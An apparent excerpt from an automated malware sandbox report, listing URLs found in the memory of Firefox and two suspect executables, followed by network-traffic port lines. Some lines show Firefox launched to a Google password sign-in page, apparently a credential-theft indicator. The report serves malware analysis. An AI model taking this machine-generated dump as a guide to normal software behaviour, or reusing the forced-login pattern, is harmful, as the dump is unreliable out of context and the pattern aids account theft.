Source: firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001E.00000002.2465831140.0000018FC30C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2470373720.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2347662686.0000018FC36B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/This
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001E.00000003.2338502170.0000018FC30F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2338502170.0000018FC3080000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_PREFS_SETUP
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_PREFS_SETUPDISCOVERY_STREAM_RECENT_SAVESAS_ROUTER_T
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2350694285.0000018FC04FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2350694285.0000018FC04EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7EEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphandleUpdateFailure
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001E.00000002.2387418053.0000018FBB2BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000001E.00000002.2387418053.0000018FBB2BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001E.00000002.2455130885.0000018FC2B63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsError
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesresource://devtools/client/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation.unified-extensions-context-menu-management-separa
Source: 3cbc500e8f.exe, 0000000F.00000003.2321215309.000000000614D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orghttps://monitor.firefox.comwidget.use-xdg-desktop-portalremoveTabsProgres
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B14000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001E.00000002.2465831140.0000018FC30C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001E.00000003.2327227071.0000018FC7750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B14000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361079492.0000000006021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/schemas/activity_log.
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7BD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001E.00000002.2492014669.0000018FC78AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2327288525.0000018FC7733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2342763945.0000018FC7B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2288118783.0000018FBF400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2289547467.0000018FBF640000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291102616.0000018FBF660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2291287564.0000018FBF67F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000001.00000003.1360884367.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360751192.0000000005A27000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1360710362.0000000005A29000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098846431.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098522844.000000000610D000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2098417289.0000000006110000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2260363072.000000000606B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceAddon
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7BD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2342763945.0000018FC7B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361079492.0000000006021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7EEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2379684702.00000022FF4FB000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2517143514.0000018FC7B0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2465831140.0000018FC3074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001E.00000002.2465831140.0000018FC30C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/Next
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000003.1397756260.0000000005B05000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2131474740.00000000061DE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2321215309.000000000614D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2521810701.0000018FC7EDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2517143514.0000018FC7BEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: firefox.exe, 0000001E.00000002.2521810701.0000018FC7EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/urlbar-result-menu-dismiss-firefox-suggestSELECT
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000001.00000003.1397756260.0000000005B05000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2131474740.00000000061DE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2321215309.000000000614D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2521810701.0000018FC7EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001E.00000002.2379684702.00000022FF4FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001E.00000002.2534226638.000023C59B504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBBAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/https://www.widevine.com/toolkit/about/aboutPlugins.ftlnsIXPCComponents_Con
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7B14000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001E.00000002.2534226638.000023C59B504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001E.00000002.2517143514.0000018FC7BD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2343536609.0000018FC7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/http://mZ
Source: firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2467519853.0000018FC3174000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001E.00000002.2413926437.0000018FC0433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001E.00000002.2434585255.0000018FC100B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001E.00000002.2446287321.0000018FC1C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2348718900.0000018FC30CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2465831140.0000018FC30C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001E.00000002.2425869954.0000018FC0703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2380951128.0000018FAF659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.2255464513.00000239E5BA7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2280202575.00000232B5399000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2380951128.0000018FAF659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://2a8a
Source: firefox.exe, 0000001E.00000002.2395673517.0000018FBBB68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://e0b4
Source: firefox.exe, 0000001E.00000002.2433286259.0000018FC0F69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2349700330.0000018FC0F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdp
Source: firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_createShowMoreSyncedTabsElementremoveDocumentStateListenertoolkit/brandi

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
